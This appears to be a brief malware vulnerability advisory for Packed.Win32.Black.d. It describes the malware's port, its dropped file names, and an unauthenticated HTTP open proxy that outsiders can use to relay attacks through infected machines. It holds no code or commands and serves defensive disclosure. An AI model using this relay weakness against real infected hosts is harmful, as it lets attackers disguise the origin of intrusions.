Threat: Packed.Win32.Black.d
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080 and drops one of two executables named "Unknown.exe" or "Internet Explorer.exe under Windows dir". Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
